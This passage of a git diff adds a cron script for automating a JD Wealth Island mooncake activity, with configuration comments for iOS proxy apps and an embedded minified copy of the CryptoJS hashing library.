s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_cfd_mooncake.js b/backUp/jd_cfd_mooncake.js new file mode 100644 index 0000000..982fe1b --- /dev/null +++ b/backUp/jd_cfd_mooncake.js @@ -0,0 +1,874 @@ +/* +京喜财富岛合成月饼 +cron 5 * * * * jd_cfd_mooncake.js +更新时间:2021-9-11 +活动入口:京喜APP-我的-京喜财富岛 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛合成月饼 +5 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, tag=京喜财富岛合成月饼, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true + +================Loon============== +[Script] +cron "5 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js,tag=京喜财富岛合成月饼 + +===============Surge================= +京喜财富岛合成月饼 = type=cron,cronexp="5 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js + +============小火箭========= +京喜财富岛合成月饼 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_mooncake.js, cronexpr="5 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), 